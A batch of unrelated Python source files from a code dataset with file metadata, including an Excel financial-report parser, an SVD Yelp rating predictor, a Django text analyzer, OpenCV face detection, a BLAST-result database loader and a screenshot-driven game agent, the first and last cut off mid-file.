temp.nrows):\n if str(temp.cell(i, aop_columna).value) != '':\n col_aop.append(str(temp.cell(i, aop_columna).value))\n bilanca = pd.DataFrame(columns=col_aop)\n kreiranje[0] = True\n\n bilanca = input_data(temp, bilanca, '1.0',item)\n\n # RDG\n\n if \"RDG\" in xl.sheet_names():\n temp = xl.sheet_by_name('RDG')\n x, aop_columna = find_element('AOP', temp)\n\n # Kreiranja inicijalnnog RDG-a\n if kreiranje[1] == False:\n begin_aop_index = find_element_in_column(\"111.0\", aop_columna, temp)\n col_aop = [\"Ticker\"]\n for i in range(begin_aop_index, temp.nrows):\n if str(temp.cell(i, aop_columna).value) != '':\n col_aop.append(str(temp.cell(i, aop_columna).value))\n rdg = pd.DataFrame(columns=col_aop)\n kreiranje[1] = True\n\n rdg = input_data(temp, rdg, '111.0',item)\n\n # NTI\n if \"NT_I\" in xl.sheet_names():\n temp = xl.sheet_by_name('NT_I')\n x, aop_columna = find_element('AOP', temp)\n\n # Kreiranja inicijalne bilance\n if kreiranje[2] == False:\n begin_aop_index = find_element_in_column(\"1.0\", aop_columna, temp)\n col_aop = [\"Ticker\"]\n for i in range(begin_aop_index, temp.nrows):\n if str(temp.cell(i, aop_columna).value) != '':\n col_aop.append(str(temp.cell(i, aop_columna).value))\n nti = pd.DataFrame(columns=col_aop)\n kreiranje[2] = True\n\n nti = input_data(temp, nti, '1.0',item)\n\n # PROMJENA KAPITALA\n if \"PK\" in xl.sheet_names():\n temp = xl.sheet_by_name('PK')\n x, aop_columna = find_element('AOP', temp)\n\n # Kreiranja inicijalne bilance\n if kreiranje[3] == False:\n begin_aop_index = find_element_in_column(\"1.0\", aop_columna, temp)\n col_aop = [\"Ticker\"]\n for i in range(begin_aop_index, temp.nrows):\n if str(temp.cell(i, aop_columna).value) != '':\n col_aop.append(str(temp.cell(i, aop_columna).value))\n pk = pd.DataFrame(columns=col_aop)\n kreiranje[3] = True\n\n pk = input_data(temp, pk, '1.0',item)\n\n break\n\n bilanca.to_excel(\"BilancaF.xlsx\")\n rdg.to_excel(\"RDGF.xlsx\")\n nti.to_excel(\"NTIF.xlsx\")\n pk.to_excel(\"PKF.xlsx\")\n\n # with open(\"BussinesCompanies.csv\",'w') as f:\n # wr=csv.writer(f)\n # wr.writerow(category1)\n # f.close()\n #\n # with open(\"FinancialCompanies.csv\",'w') as f:\n # wr=csv.writer(f)\n # wr.writerow(nema)\n # f.close()\n\n #PROVJERA","sub_path":"Stock/functions/temp.py","file_name":"temp.py","file_ext":"py","file_size_in_byte":8913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"327593517","text":"\n#if statements \n# if = true\n# else = false\n\nage = eval(input(\"Enter age -\"))\nif(age>18):\n print(\"Adult\")\nelse:\n print(\"Child\")\n\n#Complex if\n\nage = eval(input(\"Enter age \"))\ndrunk = eval(input(\"Drunk or not \"))\nif(age>18):\n if(drunk):\n print(\"You are drunk and legal to drink\")\n else:\n print(\"You are legal but not drunk\")\nelse:\n if(drunk):\n print(\"You are not legal to drink but you are drunk\")\n else:\n print(\"You are a good boy\")\n\n#elif\nage = eval(input(\"Enter age\"))\nif age>18 and age<24:\n print(\"age between 18 and 24\")\nelif age>24 and age<60:\n print(\"Age between 24 and 60\")\nelse:\n print(\"Don't know your age\")","sub_path":"python/if.py","file_name":"if.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"614577554","text":"from os.path import abspath, dirname\n\n_db_path = dirname(abspath(__file__)) + '/db.txt'\n_db = set()\n\nwith open(_db_path, 'r') as db:\n\tfor post_id in db:\n\t\t_db.add(post_id[:-1])\n\ndef has(id):\n\treturn id in _db\n\ndef add(id):\n\tif id not in _db:\n\t\t_db.add(id)\n\t\twith open(_db_path, 'a') as db:\n\t\t\tdb.write(id + '\\n')\n","sub_path":"postdb/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"266148270","text":"import os\n\nimport discord\n\nclient = discord.Client()\n\n@client.event\nasync def on_ready():\n \"\"\"Notifies user when bot is ready\n \"\"\"\n print(f\"We have logged in as {client.user}!\")\n\nif __name__ == \"__main__\":\n bot_token = os.getenv('BOT_TOKEN')\n client.run(bot_token)\n","sub_path":"Lessons/01_creating_bot.py","file_name":"01_creating_bot.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"343826485","text":"import os\nfrom PIL import Image\nimport numpy as np\n\n\ndataset_path = '../../../datasets_local/Datasets/segmentation/any_dataset'\ndataset_name = 'Name to print'\nsubsets = ['train', 'valid', 'test']\nmax_class = 30\ncount_res = {}\n\nfor sst in subsets:\n by_classes = np.zeros(max_class)\n full_path = dataset_path + '/' + sst + '/masks'\n if os.path.exists(full_path):\n for img_fname in os.listdir(full_path):\n full_file = full_path + '/' + img_fname\n img = Image.open(full_file)\n im_mat = np.asarray(img)\n by_classes += np.array([np.count_nonzero(im_mat == i)\n for i in range(max_class)])\n classes_per_img = by_classes / len(os.listdir(full_path))\n count_res[sst] = {'Pixels by class' : by_classes,\n 'Pixels by class per image' : classes_per_img,\n 'Number of images' : len(os.listdir(full_path))}\n\nprint(dataset_name + ' results:')\nprint(count_res)\n","sub_path":"code/eval_dataset.py","file_name":"eval_dataset.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"226546185","text":"class Stack:\n\tdef __init__(self):\n\t\tself.__stk = []\n\n\tdef push(self, val):\n \t\tself.__stk.append(val)\n\n\tdef pop(self):\n \t\tval = self.__stk[-1]\n \t\tdel self.__stk[-1]\n \t\treturn val\n\nlittle_stack = Stack()\nanother_stack = Stack()\nfunny_stack = Stack()\nlittle_stack.push(1)\nanother_stack.push(little_stack.pop() + 1)\nfunny_stack.push(another_stack.pop() - 2)\nprint(funny_stack.pop())","sub_path":"PCAP Programming Essentials in Python - PUE/5. Orientación a objetos/5.2/PCA_5_2_13.py","file_name":"PCA_5_2_13.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"342767212","text":"def f(x, y):\r\n return x * x + y\r\n\r\n\r\ndef print_f():\r\n output = \"y'(x) = x^2 + y\"\r\n return output\r\n\r\n\r\ndef euler(x, y, end, step):\r\n stop = (end - x) / step\r\n x_temp = x\r\n y_temp = y\r\n for i in range(int(stop + 1)):\r\n y_temp = y_temp + step * f(x_temp, y_temp)\r\n x_temp = x_temp + step\r\n print(\"EULER'S METHOD= \", y_temp)\r\n return y_temp\r\n\r\n\r\ndef f_rk2(x, y, step):\r\n k1 = f(x, y)\r\n k2 = f(x + step, y + step * k1)\r\n function = 0.5 * (k1 + k2)\r\n return function\r\n\r\n\r\ndef rk2(x, y, end, step):\r\n stop = (end - x) / step\r\n x_temp = x\r\n y_temp = y\r\n for i in range(int(stop + 1)):\r\n function = f_rk2(x_temp, y_temp, step)\r\n y_temp = y_temp + step * function\r\n x_temp = x_temp + step\r\n print(\"RK2 METHOD= \", y_temp)\r\n return y_temp\r\n\r\n\r\ndef f_rk4(x, y, step):\r\n k1 = f(x, y)\r\n k2 = f(x + (0.5 * step), y + (0.5 * step * k1))\r\n k3 = f(x + (0.5 * step), y + (0.5 * step * k2))\r\n k4 = f(x + step, y + (step * k3))\r\n function = (1 / 6) * (k1 + (2 * k2) + (2 * k3) + k4)\r\n return function\r\n\r\n\r\ndef rk4(x, y, end, step):\r\n stop = (end - x) / step\r\n x_temp = x\r\n y_temp = y\r\n for i in range(int(stop + 1)):\r\n y_temp = y_temp + (step * f_rk4(x_temp, y_temp, step))\r\n x_temp = x_temp + step\r\n print(\"RK4 METHOD= \", y_temp)\r\n return y_temp\r\n\r\n\r\nprint(print_f())\r\nx0: float = float(input(\"ENTER X0: \"))\r\ny0: float = float(input(\"ENTER Y0: \"))\r\nend_point: float = float(input(\"ENTER ENDPOINT: \"))\r\nh: float = float(input(\"ENTER STEP: \"))\r\n\r\neuler(x0, y0, end_point, h)\r\nrk2(x0, y0, end_point, h)\r\nrk4(x0, y0, end_point, h)\r\n","sub_path":"metody rozniczkowania.py","file_name":"metody rozniczkowania.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"49011618","text":"#this is created by me\nfrom django.http import HttpResponse#to send response for request\nfrom django.shortcuts import render #for using templates\n\n\n\ndef index(request):\n # return HttpResponse(\" Home \")\n params = {'name':'bobby','place':'mars'}\n return render(request , 'index.htm',params)\n# def contacts(request):\n# return render(request , 'contacts.htm')\n\n# def services(request): \n# return render(request , 'services.htm') \n\ndef analyze(request): \n requested_text = request.POST.get(\"text\" , \"default\")\n removepunc = request.POST.get(\"removepunc\" , \"off\")\n capitalizer = request.POST.get(\"capitalizer\" ,\"off\")\n inlineremover = request.POST.get(\"inlineremover\" ,\"off\") \n if removepunc == \"on\":\n punctuations = '''!()-[]{};:'\"\\,<>./?@#$%^&*_~'''\n analyzed = \"\"\n for char in requested_text:\n if char not in punctuations:\n analyzed+=char\n params = {\"Purpose\":\"Removing Punctuations\" ,\"analyzed_text\":analyzed }\n return render(request ,\"analyze.htm\" ,params)\n elif capitalizer == \"on\":\n uppercase = \"\"\n for char in requested_text:\n uppercase += char.upper()\n params = {\"purpose\":\"capitalize text\" , \"analyzed_text\":uppercase}\n return render(request,\"analyze.htm\",params)\n \n\n elif inlineremover == \"on\":\n result = \"\"\n for char in requested_text:\n if char != \"\\n\" and char!=\"\\r\":\n result = result + char\n params = {\"purpose\":\"capitalize text\" , \"analyzed_text\":result}\n return render(request,\"analyze.htm\",params)\n else:\n return HttpResponse(\"Error plz select option\")\ndef capitalizer(request):\n return HttpResponse('capitalizer')\ndef inlineremover(request):\n return HttpResponse('removing inline element')\n","sub_path":"mysite/mysite/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"584288481","text":"from surprise import SVD\nfrom surprise import Dataset\nfrom surprise.model_selection import cross_validate\nfrom surprise import Reader\nimport json\nimport sys\nimport time\n\nstart = time.perf_counter()\n\ninput_path = sys.argv[1]\n# output_filepath = 'output.csv'\noutput_filepath = sys.argv[3]\n# business_filepath = '/Users/irischeng/INF553/Assignment/Competition/business.json'\nbusiness_filepath = input_path + \"business.json\"\n\n# train_filepath = '/Users/irischeng/INF553/Assignment/Competition/yelp_train.csv'\ntrain_filepath = input_path + 'yelp_train.csv'\n\nreader = Reader(rating_scale=(1, 5), line_format='user item rating', sep=',', skip_lines=1)\n\ndata = Dataset.load_from_file(train_filepath, reader=reader)\n\n# trainset, valset = train_test_split(data, test_size=.25)\ntrainset = data.build_full_trainset()\n\n\n# val_filepath = '/Users/irischeng/INF553/Assignment/Competition/yelp_val.csv'\nval_filepath = input_path + 'yelp_val.csv'\n\n# test_file_name = sys.argv[2]\n# test_filepath = input_path + test_file_name\ntest_filepath = sys.argv[2]\n\n\ndict_bID_uIDlist = {}\n\n# dict_bID_sumrating_count = {}\n# 'ahXJ4DktihtIc7emzuyK7g': [76.0, 20]\n\n# dict_bID_ave = {}\n\ntrain = open(train_filepath, 'r')\ntrain_header = train.readline()\n\nfor line in train.readlines():\n # print(line)\n if line != train_header:\n temp_line = line.replace(\"\\n\", \"\").split(\",\")\n # print(temp_line)\n\n if temp_line[1] in dict_bID_uIDlist:\n dict_bID_uIDlist[temp_line[1]].append(temp_line[0])\n else:\n dict_bID_uIDlist[temp_line[1]] = []\n dict_bID_uIDlist[temp_line[1]].append(temp_line[0])\n\n # if temp_line[1] in dict_bID_sumrating_count:\n # dict_bID_sumrating_count[temp_line[1]][0] = dict_bID_sumrating_count[temp_line[1]][0] + float(\n # temp_line[2])\n # dict_bID_sumrating_count[temp_line[1]][1] = dict_bID_sumrating_count[temp_line[1]][1] + 1\n # else:\n # dict_bID_sumrating_count[temp_line[1]] = [0, 0]\n # dict_bID_sumrating_count[temp_line[1]][0] = dict_bID_sumrating_count[temp_line[1]][0] + float(\n # temp_line[2])\n # dict_bID_sumrating_count[temp_line[1]][1] = dict_bID_sumrating_count[temp_line[1]][1] + 1\n\n# for i in dict_bID_sumrating_count:\n# # print(i)\n# dict_bID_ave[i] = dict_bID_sumrating_count[i][0] / dict_bID_sumrating_count[i][1]\n\n\n# print(dict_bID_uIDlist)\n\n\ndict_bid_Stars = {}\nbusinessFile = open(business_filepath,'r')\n\nfor line in businessFile:\n temp = json.loads(line)\n temp_key = temp[\"business_id\"]\n # print(temp_key)\n\n temp_value = temp['stars']\n dict_bid_Stars[temp_key] = temp_value\n# print(dict_bid_reviewAndStars)\n\n\nsvd = SVD(n_factors=20, lr_all=0.009, reg_all=0.17, n_epochs=25, random_state=1).fit(trainset)\n\nsvd.fit(trainset)\n\n\nfileObject = open(output_filepath, 'w')\ntest = open(test_filepath, 'r')\ntest_header = test.readline()\nsum_difference = 0\nn = 0\ndiff_count =0\nfileObject.write('user_id, business_id, prediction\\n')\nfor line in test.readlines():\n if line != test_header:\n n = n + 1\n temp_line = line.replace(\"\\n\", \"\").split(\",\")\n # print(temp_line)\n active_user = temp_line[0]\n active_item = temp_line[1]\n true_rating = (temp_line[2].strip(\"'\"))\n # print(true_rating)\n # print(type(true_rating))\n temp_pred = svd.predict(active_user, active_item, verbose=False).est\n\n if (active_item not in dict_bID_uIDlist.keys()):\n temp_pred = dict_bid_Stars[active_item]\n # # temp_pred = dict_bID_ave[active_item]\n elif (len(dict_bID_uIDlist[active_item])<=3):\n temp_pred = dict_bid_Stars[active_item]\n # else:\n # print(temp_pred.est)\n # difference = (float(temp_pred.est)- float(temp_line[2]))**2\n # if difference >=4:\n # diff_count = diff_count+1\n result = (active_user, active_item, temp_pred)\n fileObject.write(str(result).strip(\"()\").replace(\"'\", \"\"))\n fileObject.write(\"\\n\")\n sum_difference = sum_difference + (float(temp_pred) - float(temp_line[2])) ** 2\n\nMSE = sum_difference / n\nfileObject.close()\n\nRMSE = pow(MSE, 0.5)\nprint(RMSE)\n# print(n)\n\nend = time.perf_counter()\nprint(\"duration:\", end - start)\n","sub_path":"recommendation system.py","file_name":"recommendation system.py","file_ext":"py","file_size_in_byte":4271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"572575676","text":"#\n# @lc app=leetcode.cn id=188 lang=python3\n#\n# [188] 买卖股票的最佳时机 IV\n# 最多可以完成k笔交易,int a[n][k][2]\n\n# @lc code=start\nclass Solution:\n def maxProfit_inf(self, prices: List[int]) -> int:\n n = len(prices)\n if n == 0:\n return 0\n dp = [[0 for j in range(2)] for i in range(n)]\n dp[0][0] = 0\n dp[0][1] = -prices[0]\n for i in range(1, n):\n dp[i][0] = max(dp[i-1][0], dp[i-1][1] + prices[i])\n dp[i][1] = max(dp[i-1][1], dp[i-1][0] - prices[i])\n return dp[n-1][0] \n \n def maxProfit(self, k: int, prices: List[int]) -> int:\n n = len(prices)\n if n == 0 or k <= 0:\n return 0\n if k >= n/2:\n return self.maxProfit_inf(prices)\n dp = [[[0 for k in range(2)] for j in range(k)] for i in range(n)]\n for i in range(k):\n dp[0][i][1] = -prices[0]\n dp[0][i][0] = 0\n for i in range(1, n):\n dp[i][0][1] = max(dp[i-1][0][1], -prices[i])\n dp[i][0][0] = max(dp[i-1][0][0], dp[i][0][1] + prices[i])\n for j in range(1, k):\n dp[i][j][1] = max(dp[i-1][j][1], dp[i][j-1][0] - prices[i])\n dp[i][j][0] = max(dp[i-1][j][0], dp[i][j][1] + prices[i])\n return dp[n-1][k-1][0]\n\n# @lc code=end\n\n","sub_path":"188.买卖股票的最佳时机-iv.py","file_name":"188.买卖股票的最佳时机-iv.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"74336401","text":"import psycopg2 as pg\nfrom Bio import SeqIO\nfrom pathlib import Path\nimport sys\nimport getopt\nimport csv\n\n\nif __name__ == \"__main__\":\n\n sample_name = ''\n contig_to_blast = ''\n q_coverage_ratio_thr = 0.8\n\n try:\n opts, args = getopt.getopt(sys.argv[1:], \"hs:i:\", [\"sample=\", \"c2b=\"])\n except getopt.GetoptError:\n print('z09.insert_contigs_to_blast.py -s -i ')\n sys.exit(2)\n\n for opt, arg in opts:\n if opt == '-h':\n print('z09.insert_contigs_to_blast.py -s -i ')\n sys.exit(1)\n elif opt in (\"-s\", \"--sample\"):\n sample_name = arg\n elif opt in (\"-i\", \"--contig2blast\"):\n contig_to_blast = arg\n\n print(sample_name)\n print(contig_to_blast)\n\n conn = pg.connect(\"host=localhost dbname=onehealth user=onehealth password=oh123\")\n conn.autocommit = True\n cur = conn.cursor()\n\n folder = Path(contig_to_blast)\n table_name = \"resistome_contigtoblastresult\"\n\n sample_id = \"'\"+sample_name+\"'\"\n with open(folder) as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=\"\\t\")\n\n queryId = None\n queryLength = None\n\n for row in csv_reader:\n if row[0].startswith(\"# Query\"):\n queryInfo = row[0].split(\" \")\n queryId = queryInfo[2]\n queryLength = int(queryInfo[5].replace(\"len=\", \"\"))\n #print(queryId)\n\n elif not row[0].startswith(\"#\"):\n contig_name = \"'\"+row[0]+\"'\"\n subject = \"'\"+row[1]+\"'\"\n pident = float(row[2])\n alignment_length = int(row[3])\n mismatch = int(row[4])\n gap_open = int(row[5])\n q_start = int(row[6])\n q_end = int(row[7])\n s_start = int(row[8])\n s_end = int(row[9])\n evalue = float(row[10])\n bitscore = float(row[11])\n\n q_coverage = abs(q_end - q_start) + 1\n q_coverage_ratio = float(q_coverage) / float(queryLength)\n\n if q_coverage_ratio >= q_coverage_ratio_thr:\n sql = \"insert into \" + table_name + ' (contig_name, subject, pident, alignment_length, mismatch, gap_open, contig_start, contig_end, subject_start, subject_end, evalue, bitsocre, sample_id) values({0}, {1}, {2}, {3}, {4}, {5}, {6}, {7}, {8}, {9}, {10}, {11}, {12})'.format(\n contig_name, subject, pident, alignment_length, mismatch, gap_open, q_start, q_end, s_start, s_end,\n evalue, bitscore, sample_id)\n print(sql)\n cur.execute(sql)\n\n #sql = \"\"\n #print(q_coverage_ratio)\n\n\n #for row in csv_reader:\n # contig_name = \"'\"+row[0]+\"'\"\n # aro_infos = row[1].split(\"|\")\n # aro = \"'\" + aro_infos[2] + \"'\"\n # pident = row[2]\n # aln_length = row[3]\n ## num_mismatch = row[4]\n # gap_open = row[5]\n # qstart = row[6]\n # qend = row[7]\n # aro_start = row[8]\n # aro_end = row[9]\n # evalue = row[10]\n # bitscore = row[11]\n\n # sql = \"insert into \" + table_name + ' (contig_name, aro, pident, aln_length, num_mismatch, gap_open, qstart, qend, aro_start, aro_end, evalue, bitscore, sample_id) values({0}, {1}, {2}, {3}, {4}, {5}, {6}, {7}, {8}, {9}, {10}, {11}, {12})'.format(contig_name, aro, pident, aln_length, num_mismatch, gap_open, qstart, qend, aro_start, aro_end, evalue, bitscore, sample_id)\n # print(sql)\n # cur.execute(sql)\n\ncur.close()\nconn.close()\n","sub_path":"resistome/z09.insert_contigs_to_blast.py","file_name":"z09.insert_contigs_to_blast.py","file_ext":"py","file_size_in_byte":3743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"329095738","text":"print ('program untuk mengurutkan bilangan dari yang terbesar ke terkecil')\n\ndef sorting (data):\n ganti = True\n while len (data)-1 > 0 and ganti:\n ganti = False\n for i in range (len(data)-1):\n if data [i] > data [i+1]:\n ganti = True\n swap = data[i]\n data[i] = data[i+1]\n data [i+1] = swap\ndata = []\nfor i in range(3):\n inputbilangan = int(input(\"Masukan bilangan: \"))\n data.append(inputbilangan)\n\nsorting (data)\nprint (data) \n","sub_path":"lab2latihan2.py","file_name":"lab2latihan2.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"167796749","text":"# coding: utf-8\n\nimport cv2\nimport numpy as np\n\n\n#OpenCV based detector using a pretrained caffe model\nclass opencvBasedDetector(object):\n def __init__(self, protocol, model, detection_thr):\n self.net = cv2.dnn.readNetFromCaffe(protocol, model)\n self.thr = detection_thr\n\n def detect(self, image):\n if image is None:\n return [] \n detectionInImage = image.copy()\n (h, w) = image.shape[:2]\n \n blob = cv2.dnn.blobFromImage(cv2.resize(image, (300, 300)), 1.0, (300, 300), (104.0, 177.0, 123.0)) # Normalize image for Caffe & Create a blob\n self.net.setInput(blob) # Set the input layer for the Network\n cvDet = self.net.forward() # Push the blob to the Network to classify\n detection = [] # Create list to store bounding boxes\n\n for i in range(0, cvDet.shape[2]): # Iterate over top-200 predicted boxes\n confidence = cvDet[0, 0, i, 2] # For each box, check confidence\n if confidence > self.thr: # If confidence is over detection_threshold we save the box\n box = cvDet[0, 0, i, 3:7] * np.array([w, h, w, h]) # Get the bounding box\n (startX, startY, endX, endY) = box.astype(\"int\") # get limits of the bounding box\n detection.append([ [startX, startY], [endX, endY] ]) # Append bounding boxes with new format, a list of lists...\n image = cv2.rectangle(image, (startX, startY), (endX, endY), (0, 0, 255) , 2)\n\n return detection\n\n\n\n# ROTATE_90_COUNTERCLOCKWISE\ndef rotate_frame(frame):\n \"\"\"\n height , width , layers = frame.shape\n new_h=height/2\n new_w=width/2\n frame = cv2.resize(frame, (new_w, new_h))\n \"\"\"\n return cv2.rotate(frame, cv2.ROTATE_90_COUNTERCLOCKWISE)\n\n\n# Moyenneur\ndef get_filtered_frame(frame):\n\n m = 10\n \n kernel = np.ones((m,m),np.float32)/(m*m)\n return cv2.filter2D(frame, -1, kernel)\n\n\n# GaussianBlur\ndef get_lowpass_frame(frame):\n\n m = 43\n sigma = 0\n\n return cv2.GaussianBlur(frame,(m, m), sigma)\n\n\n# medianBlur (+ shaped)\ndef get_medianblur_frame(frame):\n return cv2.medianBlur(frame,5)\n\n\n\nif __name__ == '__main__':\n \n codec_type = cv2.VideoWriter_fourcc(*\"mp4v\")\n videoname = \"video.mp4\"\n cap = cv2.VideoCapture(videoname)\n print(cap)\n\n fps = cap.get(cv2.CAP_PROP_FPS) \n fw = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)) \n fh = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n print(int(fps), fw, fh)\n\n print(\" \")\n\n\n # Video output\n #out = cv2.VideoWriter(\"ProcessedVideo\" + videoname, codec_type, fps, (fh, fw))\n\n # Deep Neural Network\n threshold = 0.8\n dnn = opencvBasedDetector('deploy.prototxt.txt', 'res10_300x300_ssd_iter_140000.caffemodel', threshold)\n print(dnn.net)\n\n\n # Useful when you know how faces should be detected\n #face_count = 0\n #face_count_max = 128\n\n\n counter = 0\n ret = True\n while(cap.isOpened() and ret):\n ret, frame = cap.read() # ret (boolean), frame (image)\n #print(counter, ret)\n \n if ret == True: # Processing of frame\n counter += 1\n\n #frame = rotate_frame(frame) \n #frame = get_filtered_frame(frame) \n #frame = get_lowpass_frame(frame) \n #frame = get_medianblur_frame(frame)\n\n detect_data = dnn.detect(frame)\n cv2.imshow(\"Image\", frame)\n cv2.waitKey(1)\n\n #face_count += len(detect_data)\n #print(face_count, len(detect_data))\n\n #out.write(frame)\n\n print(\" \")\n #print(\"Number of frames read : \" + str(counter))\n #print(str(face_count) + \" \" + str(face_count_max))\n #print(\"Detection : \" + str(int(100*face_count/face_count_max)) + \"%\")\n\n\n #out.release()\n cap.release()\n\n\n\n","sub_path":"face_detection.py","file_name":"face_detection.py","file_ext":"py","file_size_in_byte":3785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"161629733","text":"# Copyright 2017 AT&T Corporation.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom tempest import config\nfrom tempest.lib import decorators\n\nfrom patrole_tempest_plugin import rbac_exceptions\nfrom patrole_tempest_plugin import rbac_rule_validation\nfrom patrole_tempest_plugin.tests.api.identity import rbac_base\n\nCONF = config.CONF\n\n\nclass IdentityProjectV2AdminRbacTest(rbac_base.BaseIdentityV2AdminRbacTest):\n\n @rbac_rule_validation.action(service=\"keystone\",\n admin_only=True)\n @decorators.idempotent_id('0f148510-63bf-11e6-b348-080044d0d904')\n def test_create_project(self):\n\n \"\"\"Create Project Test\n\n RBAC test for Identity 2.0 create_tenant\n \"\"\"\n\n self.rbac_utils.switch_role(self, toggle_rbac_role=True)\n self.setup_test_tenant()\n\n @rbac_rule_validation.action(service=\"keystone\",\n admin_only=True)\n @decorators.idempotent_id('0f148510-63bf-11e6-b348-080044d0d905')\n def test_update_project(self):\n\n \"\"\"Update Project Test\n\n RBAC test for Identity 2.0 update_tenant\n \"\"\"\n tenant = self.setup_test_tenant()\n\n self.rbac_utils.switch_role(self, toggle_rbac_role=True)\n self.tenants_client.update_tenant(tenant['id'],\n description=\"Changed description\")\n\n @rbac_rule_validation.action(service=\"keystone\",\n admin_only=True)\n @decorators.idempotent_id('0f148510-63bf-11e6-b348-080044d0d906')\n def test_delete_project(self):\n\n \"\"\"Delete Project Test\n\n RBAC test for Identity 2.0 delete_tenant\n \"\"\"\n tenant = self.setup_test_tenant()\n\n self.rbac_utils.switch_role(self, toggle_rbac_role=True)\n self.tenants_client.delete_tenant(tenant['id'])\n\n @rbac_rule_validation.action(service=\"keystone\",\n admin_only=True)\n @decorators.idempotent_id('0f148510-63bf-11e6-b348-080044d0d907')\n def test_get_project(self):\n\n \"\"\"Get Project Test\n\n RBAC test for Identity 2.0 show_tenant\n \"\"\"\n\n tenant = self.setup_test_tenant()\n\n self.rbac_utils.switch_role(self, toggle_rbac_role=True)\n self.tenants_client.show_tenant(tenant['id'])\n\n @rbac_rule_validation.action(service=\"keystone\",\n admin_only=True)\n @decorators.idempotent_id('0f148510-63bf-11e6-b348-080044d0d909')\n def test_list_project_users(self):\n\n \"\"\"Get Users of a Project Test\n\n RBAC test for Identity 2.0 list_tenant_users\n \"\"\"\n tenant = self.setup_test_tenant()\n\n self.rbac_utils.switch_role(self, toggle_rbac_role=True)\n self.tenants_client.list_tenant_users(tenant['id'])\n\n @rbac_rule_validation.action(service=\"keystone\",\n admin_only=True)\n @decorators.idempotent_id('0f148510-63bf-11e6-b348-080044d0d908')\n def test_list_all_projects(self):\n\n \"\"\"List All Projects Test\n\n RBAC test for Identity 2.0 list_tenants (admin endpoint)\n\n There are two separate APIs for listing tenants in the Keystone\n v2 API: one for admin and one for non-admin. The ``os_admin`` client\n calls the admin endpoint and the ``os_primary`` client calls the\n non-admin endpoint. To ensure that the admin endpoint only returns\n admin-scoped tenants, raise ``RbacActionFailed`` exception otherwise.\n \"\"\"\n tenants_client = self.os_admin.tenants_client if \\\n CONF.identity.admin_role == CONF.rbac.rbac_test_role else \\\n self.os_primary.tenants_client\n admin_tenant_id = self.os_admin.auth_provider.credentials.project_id\n non_admin_tenant_id = self.auth_provider.credentials.project_id\n\n self.rbac_utils.switch_role(self, toggle_rbac_role=True)\n tenants = tenants_client.list_tenants()['tenants']\n\n tenant_ids = [t['id'] for t in tenants]\n if admin_tenant_id not in tenant_ids:\n raise rbac_exceptions.RbacActionFailed(\n \"The admin tenant id was not returned by the call to \"\n \"``list_tenants``.\")\n if non_admin_tenant_id in tenant_ids:\n raise rbac_exceptions.RbacActionFailed(\n \"The non-admin tenant id was returned by the call to \"\n \"``list_tenants``.\")\n","sub_path":"patrole_tempest_plugin/tests/api/identity/v2/test_projects_rbac.py","file_name":"test_projects_rbac.py","file_ext":"py","file_size_in_byte":4934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"331796397","text":"import numpy as np\nfrom PIL import ImageChops, Image\nimport pyautogui\nimport time\nimport math\nimport random\nimport datetime\n\nfrom keras import optimizers\nfrom keras import backend as K\nfrom keras.models import Model\nfrom keras.layers import Activation, Concatenate, Conv2D, Conv3D, Dense, Dropout, Flatten, SimpleRNN, Input, MaxPooling2D, MaxPooling3D\n\nscreen_w, screen_h = pyautogui.size()\ndead_image = Image.open(\"dead_screenshot.png\")\n\nscrshots_num = 2\nscrshots_w = 128\nscrshots_h = 128\n\nnet_input_shape = (scrshots_w, scrshots_h, 3 * scrshots_num)\n\ngame_region = (60, 100, screen_w - 120, screen_h - 200)\nisdead_region = (screen_w / 2 - 20, screen_h / 3 - 20, 40, 40)\n\nangle_devision = 24\naction_num = angle_devision + 1\n\ndef isdead() :\n isdead = pyautogui.screenshot(region = isdead_region)\n bbox = ImageChops.difference(dead_image, isdead).getbbox()\n return (bbox == None)\n \ndef get_screenshots(n, size) :\n squence_scrshot = np.zeros((1, size[0], size[1], 3 * n))\n for i in range(n) :\n scrshot = (pyautogui.screenshot(region = game_region)).resize(size, resample = 0)\n #scrshot.save(\"test\" + str(i) + \".png\")\n scrshot = np.asarray(scrshot) / 255.5\n squence_scrshot[:, :, :, 3 * i : 3 * (i+1)] = scrshot\n time.sleep(0.1)\n 